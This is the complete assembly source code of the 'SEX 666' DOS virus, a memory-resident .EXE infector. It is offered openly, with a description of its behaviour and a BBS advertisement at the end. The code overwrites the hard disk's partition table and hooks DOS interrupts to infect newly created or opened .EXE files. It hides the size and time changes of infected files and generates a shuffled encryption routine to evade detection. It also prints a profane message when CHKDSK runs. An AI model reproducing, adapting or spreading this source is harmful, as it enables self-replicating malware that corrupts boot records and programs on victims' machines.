;------------------------------------------------------------------------------ ; ; Virus Name: SEX 666 ; Origin: Holland ; Eff Length: 2,048 bytes ; Type Code: PRhE - Parasitic Resident .EXE Infector ; ; General Comments: ; When the first program with SEX 666 is executed, SEX 666 will infect ; this partition table the first harddisk and install itself resident ; at the top of system memory, but below the 640k DOS boundary. Free ; memory as indicated by the DOS CHKDSK program, will decrease by 4112 ; bytes. Interrupt 21h will be hooked by the virus. ; ; This first time the computer is booted from the first harddisk SEX 666 ; will install itself resident above TOM but below the 640k DOS boundary. ; Total system memory as indicated by the DOS CHKDSK program, will ; decrease by 4096 bytes. ; ; After SEX 666 is resident, it will infect .EXE programs that are ; created with dos function 3ch or 5bh. Infected programs will increase ; in size by 2048 bytes, though the increase in file length will be ; hidden if SEX 666 is resident. The program's time will indicate 62 ; seconds, but this will be hidden if the virus is resident. ; ;------------------------------------------------------------------------------ ; ; Interrupt vectors ; ;------------------------------------------------------------------------------ iseg segment at 0 org 1ch*4 Int1Co dw 0 ; interrupt vector 21h Int1Cs dw 0 org 21h*4 Int21o dw 0 ; interrupt vector 21h Int21s dw 0 iseg ends ;------------------------------------------------------------------------------ ; ; Constants ; ;------------------------------------------------------------------------------ VirusSize equ 800h ; size of virus BootSize equ 2bh ;------------------------------------------------------------------------------ ; ; Macros ; ;------------------------------------------------------------------------------ je_n macro dest ; je >128 bytes local ok jne ok jmp dest ok: endm jne_n macro dest ; jne >128 bytes local ok je ok jmp dest ok: endm dbw macro _byte1,_byte2,_word db _byte1,_byte2 dw offset _word endm cseg segment public 'code' assume cs:cseg,ds:cseg,es:cseg ;------------------------------------------------------------------------------ ; ; Header of EXE-file ; ;------------------------------------------------------------------------------ Header equ $ Signature dw 5a4dh ; signature 'MZ' PartPage dw 0 ; size of partitial page PageCount dw 8 ; number of pages ReloCount dw 0 ; number of relocation items HeaderSize dw 2 ; size of header MinMem dw 40h ; minimum memory needed MaxMem dw 40h ; maximum memory needed ExeSS dw 0 ; initial SS ExeSP dw VirusSize ; initial SP CheckSum dw 0 ; unused ??? ExeEntry equ this dword ; initial entry point ExeIP dw offset Start ; initial IP ExeCS dw 0 ; initial CS ReloOffset dw 1ch ; offset of relocationtable OverlayNr dw 0 ; number of overlay CryptOfs equ OverlayNr ; offset Crypt org BootSize ;------------------------------------------------------------------------------ ; ; Bootsector startup ; ;------------------------------------------------------------------------------ Bootsector: cli xor bx,bx mov ds,bx mov ss,bx mov sp,7c00h sti mov ax,ds:[413h] sub ax,(VirusSize/400h) mov ds:[413h],ax mov cl,6 shl ax,cl mov es,ax mov ax,201h+(VirusSize/200h) mov cx,2 mov dx,80h int 13h mov bx,offset StartUp push es push bx retf StartUp:cli mov ax,offset Interrupt1C xchg ax,ds:Int1Co mov cs:OldInt1Co,ax mov ax,cs xchg ax,ds:Int1Cs mov cs:OldInt1Cs,ax mov cs:Count,182 sti push ds pop es push cs pop ds mov si,offset Header mov di,7c00h mov cx,BootSize cld rep movsb mov bx,7c00h push es push bx retf Interrupt1C: dec cs:Count jne Old1C push ds push ax cli xor ax,ax mov ds,ax mov ax,cs:OldInt1Co mov ds:Int1Co,ax mov ax,cs:OldInt1Cs mov ds:Int1Cs,ax mov ax,offset Interrupt21 xchg ax,ds:Int21o mov cs:OldInt21o,ax mov ax,cs xchg ax,ds:Int21s mov cs:OldInt21s,ax mov cs:Handle1,0 mov cs:Handle2,0 sti pop ax pop ds Old1C: jmp cs:OldInt1C ;------------------------------------------------------------------------------ ; ; Manipilated functions ; ;------------------------------------------------------------------------------ Functions db 11h ; 1 dw offset FindFCB db 12h ; 2 dw offset FindFCB db 30h ; 3 dw offset Version db 3ch ; 4 dw offset Create db 3dh ; 5 dw offset Open db 3eh ; 6 dw offset Close db 42h ; 7 dw offset Seek db 4bh ; 8 dw offset Exec db 4eh ; 9 dw offset Find db 4fh ; a dw offset Find db 5bh ; b dw offset Create db 6ch ; c dw offset OpenCreate FunctionCount equ 0ch ;------------------------------------------------------------------------------ ; ; String data ; ;------------------------------------------------------------------------------ MemoryMsg db 'Insufficient memory',13,10,'$' ChkDsk db 'CHKDSK' ;------------------------------------------------------------------------------ ; ; Procedure to infect an EXE-file ; At the top of the EXE-file must be space to put the virus. ; ;------------------------------------------------------------------------------ Infect: push ax ; save registers push bx push cx push dx push ds push cs ; ds=cs pop ds mov ax,4200h ; position read/write pointer xor cx,cx ; at the end of the virus mov dx,VirusSize call DOS call ReadHeader ; read orginal exe-header add PageCount,VirusSize/200h ; adjust header for virus mov ReloCount,0 mov HeaderSize,0 add MinMem,(10h+VirusSize)/10h add MaxMem,(10h+VirusSize)/10h jnc MaxOk mov MaxMem,0ffffh MaxOk: add ExeSS,VirusSize/10h mov ExeIP,offset Main mov ExeCS,0 mov ax,4200h ; position read/write pointer xor cx,cx ; at the top of the virus xor dx,dx call DOS call WriteHeader ; write header at the top of jc InfErr mov ax,5700h ; the virus call DOS mov ax,5701h or cl,1fh call DOS InfErr: pop ds ; restore registers pop dx pop cx pop bx pop ax ret ; return ;------------------------------------------------------------------------------ ; ; The orginal interrupt 21h is redirected to this procedure ; ;------------------------------------------------------------------------------ FindFCB:call DOS ; call orginal interrupt cmp al,0 ; error ? jne Ret1 pushf ; save registers push ax push bx push es mov ah,2fh ; get DTA call DOS cmp byte ptr es:[bx],-1 ; extended fcb ? jne FCBOk add bx,8 ; yes, skip 8 bytes FCBOk: mov al,es:[bx+16h] ; get file-time (low byte) and al,1fh ; seconds cmp al,1fh ; 62 seconds ? jne FileOk ; no, file not infected sub word ptr es:[bx+1ch],VirusSize ; adjust file-size sbb word ptr es:[bx+1eh],0 jmp short Time Find: call DOS ; call orginal interrupt jc Ret1 ; error ? pushf ; save registers push ax push bx push es mov ah,2fh call DOS mov al,es:[bx+16h] ; get file-time (low byte) and al,1fh ; seconds cmp al,1fh ; 62 seconds ? jne FileOk ; no, file not infected sub word ptr es:[bx+1ah],VirusSize ; change file-size sbb word ptr es:[bx+1ch],0 Time: xor byte ptr es:[bx+16h],10h ; adjust file-time FileOk: pop es ; restore registers pop bx pop ax popf Ret1: retf 2 ; return Version:push cx ; installation check push si ; ds = cs push di push es push cs pop es mov si,offset Version ; compare an part of the mov di,si ; code segment with the code mov cx,VersionSize ; segment of the virus cld repe cmpsb pop es pop di pop si pop cx jne Old21 ; not equal, do orginal int 21h mov ax,0DEADh ; return DEAD signature mov bx,offset Continue ; es:dx = continue push cs pop es retf 2 ; return VersionSize equ $-Version Seek: or bx,bx ; bx=0 ? jz Old21 ; yes, do orginal interrupt cmp bx,cs:Handle1 ; bx=handle1 ? je Stealth ; yes, use stealth cmp bx,cs:Handle2 ; bx=handle2 ? jne Old21 ; no, do orginal interrupt Stealth:push cx ; save cx or al,al ; seek from top of file ? jnz Ok ; no, don't change cx:dx add dx,VirusSize ; change cx:dx adc cx,0 Ok: call DOS ; Execute orginal int 21h pop cx ; restore cx jc Ret1 ; Error ? sub ax,VirusSize ; adjust dx:ax sbb dx,0 jmp short Ret1 ; return Close: or bx,bx ; bx=0 ? je Old21 ; yes, do orginal interrupt cmp bx,cs:Handle1 ; bx=handle1 jne Not1 ; no, check handle2 call Infect ; finish infection mov cs:Handle1,0 ; handle1=unused Not1: cmp bx,cs:Handle2 ; bx=handle2 jne Not2 ; no, do orginal interrupt call Infect mov cs:Handle2,0 ; handle2=unused Not2: jmp short Old21 ; continue with orginal int Interrupt21: cmp cs:Disable,0 jne Old21 push bx ; after an int 21h instruction push cx ; this procedure is started mov bx,offset Functions mov cx,FunctionCount NxtFn: cmp ah,cs:[bx] ; search function je Found add bx,3 loop NxtFn pop cx ; function not found pop bx Old21: inc cs:Cryptor jmp cs:OldInt21 Found: push bp ; function found, start viral mov bp,sp ; version of function mov bx,cs:[bx+1] xchg bx,ss:[bp+4] pop bp pop cx ret Create: cmp cs:Handle1,0 ; handle1=0 ? jne Old21 ; No, can't do anything call CheckName ; check for .exe extension jc Old21 ; No, not an exe-file ExtCr: call DOS ; Execute orginal interrupt jc Ret2 ; Error ? pushf ; save registers push ax push bx push cx push dx push si push di push ds push es push cs pop ds push cs pop es mov bx,ax ; write virus to file mov ax,4400h call DOS jc InRet test dx,80h jnz InRet push bx call Link pop bx mov si,offset WriteVirus mov di,offset Header mov cx,1ah rep movsb mov CryptOfs,offset Crypt call Header jc InErr ; Error ? cmp ax,cx jne InErr mov Handle1,bx ; store handle jmp short InRet InErr: mov ax,4200h ; set read/write pointer to top xor cx,cx ; of file xor dx,dx call DOS mov ah,40h xor cx,cx call DOS InRet: pop es ; restore registers pop ds pop di pop si pop dx pop cx pop bx pop ax popf Ret2: retf 2 ; return OpenCreate: or al,al ; subfunction 0 ? jne Fail ; no, do orginal interrupt push dx and dl,0f0h cmp dl,020h pop dx je Replace push ax ; save registers push bx push cx push dx mov ax,3d00h ; open file and close file to mov dx,si ; check if file exists call DOS jc Error mov bx,ax mov ah,3eh call DOS Error: pop dx ; restore registers pop cx pop bx pop ax jnc Open ; open file, if file exists Replace:cmp cs:Handle1,0 ; is handle1 0 ? jne Fail ; no, do orginal interrupt push dx ; save dx mov dx,si call CheckName ; check for .exe extension pop dx ; restore dx jc Fail jmp ExtCr ; create if exe-file Fail: jmp Old21 ; do orginal interrupt Open: cmp al,1 je Fail cmp cs:Handle2,0 ; handle1=0 ? jne Fail ; No, can't do anything call DOS ; Execute orginal interrupt jc Ret3 ; Error ? pushf ; save registers push ax push bx push cx push dx push ds push cs pop ds mov bx,ax ; read header of file Ext2: mov ax,4400h call DOS jc Device test dx,80h jnz Device mov ah,3fh mov cx,1ch xor dx,dx call DOS jc NoVir ; error ? cmp ax,cx jne NoVir cmp Signature,5a4dh ; signature = 'MZ' ? jne NoVir ; no, not infected cmp HeaderSize,0 ; headersize = 0 ? jne NoVir ; no, not infected cmp ExeIP,offset Main ; ip = Start ? jne NoVir ; no, not infected cmp ExeCS,0 ; cx = 0 ? jne NoVir ; no, not infected mov Handle2,bx ; store handle mov ax,4200h xor cx,cx mov dx,VirusSize ; seek to end of virus jmp OpenOk NoVir: mov ax,4200h xor cx,cx xor dx,dx OpenOk: call DOS Device: pop ds ; restore registers pop dx pop cx pop bx pop ax popf Ret3: retf 2 ; return Exec: push ax push cx push si push di mov si,dx mov di,offset ChkDsk mov cx,100h Next7: jcxz NotChk mov ah,cs:[di] Next8: lodsb and al,0dfh cmp al,ah loopne Next8 push cx push si push di mov cx,6 dec si Next9: lodsb and al,0dfh inc di cmp cs:[di-1],al loope Next9 pop di pop si pop cx jne Next7 cmp cs:Cryptor,1000h jae NoMsg push dx push ds push cs pop ds mov ah,9 mov dx,offset TextLine call DOS mov ah,9 mov dx,offset Message call DOS pop ds pop dx NoMsg: pop di pop si pop cx pop ax inc cs:Disable call DOS dec cs:Disable jmp Ret3 NotChk: pop di pop si pop cx pop ax jmp Old21 ;------------------------------------------------------------------------------ WriteVirus: call CryptOfs ; encrypt mov ah,40h ; write virus to file mov cx,VirusSize xor dx,dx pushf call cs:OldInt21 call CryptOfs ; decrypt ret ; return WriteHeader: ; write exe-header to file mov ah,40h jmp short Hdr ReadHeader: ; read exe-header from file mov ah,3fh Hdr: mov cx,1ch xor dx,dx DOS: pushf ; call orginal interrupt call cs:OldInt21 ret CheckName: ; check for .exe push ax ; save registers push cx push si push di xor ah,ah ; point found = 0 mov cx,100h ; max length filename = 100h mov si,dx ; si = start of filename cld NxtChr: lodsb ; get byte or al,al ; 0 ? je EndName ; yes, check extension cmp al,'\' ; \ ? je Slash ; yes, point found = 0 cmp al,'.' ; . ? je Point ; yes, point found = 1 loop NxtChr ; next character jmp EndName ; check extension Slash: xor ah,ah ; point found = 0 jmp NxtChr ; next character Point: inc ah ; point found = 1 mov di,si ; di = start of extension jmp NxtChr ; next character EndName:or ah,ah ; point found = 0 je NotExe ; yes, not an exe-file mov si,di ; si = start of extension lodsw ; first 2 characters and ax,0dfdfh ; uppercase cmp ax,05845h ; EX ? jne NotExe ; no, not an exe-file lodsb ; 3rd character and al,0dfh ; uppercase cmp al,045h ; E ? je ChkRet ; yes, return NotExe: stc ; set carry flag ChkRet: pop di ; restore registers pop si pop cx pop ax ret ; return ;------------------------------------------------------------------------------ ; ; Linker for encryption procedure ; ;------------------------------------------------------------------------------ Part1 db 7,0 db 1, 09ch db 1, 050h db 1, 051h db 1, 052h db 1, 056h db 1, 057h db 1, 01eh Part2 db 4,0 db 2, 00eh,01fh db 2, 031h,0c0h dbw 3, 0bah,Crypt-1ch dbw 3, 0bfh,[1ch] Part3 db 1,0 db 3, 0fch,0ebh,00eh Part4 db 4,0 db 1, 0ach db 2, 002h,0e0h db 2, 0d0h,0cch db 3, 030h,025h,047h Part5 db 1,0 db 2, 0e2h,0f6h Part6 db 1,0 db 4, 00bh,0d2h,074h,010h Part7 db 2,0 dbw 3, 0beh,Crypt dbw 3, 0b9h,Lastbyte-Crypt Part8 db 1,0 db 10, 03bh,0d1h,073h,002h,08bh db 0cah,02bh,0d1h,0ebh,0e2h Part9 db 7,1 db 1, 09dh db 1, 058h db 1, 059h db 1, 05ah db 1, 05eh db 1, 05fh db 1, 01fh Part10 db 1,0 db 1, 0c3h Link: mov ax,Cryptor mov cx,10 ; number of parts mov di,offset Crypt ; destenation mov si,offset Part1 ; source Next1: push ax ; save registers push cx push di cld cmp byte ptr ds:[si+1],0 je Forward push ax push cx push si xor ax,ax mov cl,[si] xor ch,ch add si,2 Next4: lodsb add si,ax add di,ax loop Next4 dec di std pop si pop cx pop ax Forward:mov Table[0],0100h ; initialize table mov Table[2],0302h mov Table[4],0504h mov Table[6],0706h mov bx,offset Table mov cl,ds:[si] ; get number of instructions xor ch,ch ; to shuffle Next2: call Shuffle loop Next2 pop di mov cl,ds:[si] ; get next part xor ch,ch add si,2 cld Next6: lodsb xor ah,ah add si,ax add di,ax loop Next6 pop cx ; restore register pop ax loop Next1 ; next ret ; return Shuffle:xor dx,dx ; shuffle instructions div cx push ax push cx push si xchg si,dx mov al,ds:[bx] xchg al,ds:[bx+si] xchg si,dx inc bx pushf cld mov cl,al xor ax,ax xor ch,ch add si,2 jcxz First Next5: lodsb add si,ax loop Next5 First: lodsb xor ah,ah mov cx,ax popf rep movsb pop si pop cx pop ax ret ;------------------------------------------------------------------------------ ; ; This procedure is called when starting from an exe-file ; ;------------------------------------------------------------------------------ MemErr: mov ah,9 ; display message mov dx,offset MemoryMsg int 21h mov ax,4cffh ; terminate with error-code 255 int 21h Start: mov cs:SavedAX,ax ; save registers mov cs:SavedDS,ds push cs ; ds = cs pop ds mov ah,30h ; get dos-version (installation int 21h ; check) cmp ax,0DEADh ; virus installed ? jne Install ; no, install cmp bx,offset Continue jne Install mov ax,ds:SavedAX mov es:SavedAX,ax mov ax,ds:SavedDS mov es:SavedDS,ax push es ; push es and dx for far return push bx mov ax,cs ; ax=distenation segment mov dx,cs ; dx=segment of orginal header add dx,VirusSize/10h retf ; start orginal exe-file Install:mov ah,4ah ; get memory avail mov bx,-1 int 21h sub bx,(10h+VirusSize)/10h ; memory needed by virus mov ah,4ah ; adjust memory block-size int 21h jc MemErr ; error ? yes, terminate mov ah,48h ; allocate memory for virus mov bx,VirusSize/10h int 21h jc MemErr ; error ? yes, terminate mov es,ax mov ax,201h xor bx,bx mov cx,1 mov dx,80h int 13h jc BootOk mov si,offset BootSector xor di,di mov cx,BootSize cld repe cmpsb je BootOk mov di,1beh+8 mov cx,4 Next3: cmp word ptr es:[di+2],0 ja SectOk cmp word ptr es:[di],1+(VirusSize/200h) jbe BootOk SectOk: loop Next3 push ds push es push es pop ds push cs pop es xor si,si xor di,di mov cx,BootSize cld rep movsb mov ax,300h+(VirusSize/200h) mov cx,2 int 13h pop es pop ds jc BootOk mov si,offset BootSector xor di,di mov cx,BootSize cld rep movsb mov ax,301h mov cx,1 int 13h BootOk: mov ax,es dec ax ; get segment of MCB mov es,ax mov word ptr es:[1],8 ; change owner inc ax ; get segment of memory-block mov es,ax ; es:dx = continue mov dx,offset Continue push es ; push es and ds for far return push dx xor si,si ; copy virus to memory-block xor di,di mov cx,VirusSize/2 cld rep movsw xor ax,ax ; ds = interrupt table mov ds,ax mov ax,ds:Int21o ; save interrupt 21h vector mov es:OldInt21o,ax mov ax,ds:Int21s mov es:OldInt21s,ax mov ds:Int21o,offset Interrupt21 ; store new interrupt vector mov ds:Int21s,es mov es:Handle1,0 ; clear handles mov es:Handle2,0 push cs pop ds mov ax,cs ; ax=distenation segment mov dx,cs ; dx=segment of orginal header add dx,VirusSize/10h retf ; start orginal exe-file Continue: mov ds,dx ; ds=dx add ExeSS,ax ; adjust orginal SS add ExeCS,ax ; adjust orginal CS xor si,si ; copy orginal header to xor di,di ; code segment mov cx,0dh cld rep movsw mov si,ReloOffset ; get offset of relocationtable mov cx,ReloCount ; get number of relocationitems add dx,HeaderSize ; get start of orginal exe-file cld jcxz Zero ; 0 relocation items ? Next: push ax ; save ax lodsw ; get offset of relocationitem mov bx,ax lodsw ; get segment of relocationitem add ax,dx mov es,ax pop ax add es:[bx],ax ; adjust relocationitem loop Next ; next relocationitem Zero: mov bx,PageCount ; get number of pages in file cli ; disable interrupts NxtPage:mov ds,dx ; ds = source segment mov es,ax ; es = destenation segment mov cx,100h ; cx = size of 1 page in words xor si,si ; si = 0 xor di,di ; di = 0 rep movsw ; copy block add ax,20h ; adjust destenation segment add dx,20h ; adjust source segment dec bx ; restore cx jnz NxtPage ; next block mov ss,cs:ExeSS ; set ss:sp mov sp,cs:ExeSP sti ; enable interrupts mov ax,cs:SavedAX ; restore registers mov ds,cs:SavedDS mov es,cs:SavedDS jmp cs:ExeEntry ;------------------------------------------------------------------------------ ; ; Activation ; ;------------------------------------------------------------------------------ Message equ this byte db 9,9,9,9,' SEX 666',13,10 db 9,9,9,9,' Fuck the Demon',13,10 db 13,10 db 9,9,9,9,' Greetings Bit Addict',13,10 TextLine equ this byte db 13,10 db 9,9,9,9,'ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ',13,10 db 13,10 db '$' ;------------------------------------------------------------------------------ ; ; Encryption ; ;------------------------------------------------------------------------------ Crypt: db 58 dup(90h) ; this should be the encryption Cryptor dw 0 ; change the encryption by ; changing this value Main: call Crypt ; decrypt jmp Start ; jump to Start LastByte equ $ ; encryption stops here ;------------------------------------------------------------------------------ ; ; Variables ; ;------------------------------------------------------------------------------ OldInt1C equ this dword ; orginal interrupt 8 OldInt1Co dw 0 OldInt1Cs dw 0 OldInt21 equ this dword ; orginal interrupt 21h OldInt21o dw 0 OldInt21s dw 0 Disable db 0 Count equ this word ; timer count SavedAX dw 0 SavedDS dw 0 Handle1 dw -1 ; Handle of exe-file created Handle2 dw -1 ; Handle of exe-file opend Table dw 0,0,0,0 ; Used by link ;------------------------------------------------------------------------------ ; ; Orginal EXE-file ; ;------------------------------------------------------------------------------ org VirusSize db 'MZ' ; header dw 0 ; image size = 1024 bytes dw 4 dw 0 ; relocation items = 0 dw 2 ; headersize = 20h dw 40h ; minimum memory dw 40h ; maximum memory dw 0 ; ss dw 400h ; sp dw 0 ; chksum dw 0 ; ip dw 0 ; cs dw 1ch ; offset relocation table dw 0 ; overlay number dw -1 dw -1 Orginal:mov ah,9 ; display warning push cs pop ds mov dx,offset Warning-VirusSize-20h int 21h mov ax,4c00h int 21h ; terminate Warning equ this byte db 13,10 db 'WARNING:',13,10 db 13,10 db 'SEX 666 virus is now memory resident and has now infected the',13,10 db 'partition table !!!!!',13,10 db 13,10 db '$' cseg ends sseg segment stack 'stack' db 100h dup(?) sseg ends end Start  ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ> and Remember Don't Forget to Call <ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄ> ARRESTED DEVELOPMENT +31.79.426o79 H/P/A/V/AV/? <ÄÄÄÄÄÄÄÄÄÄ ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ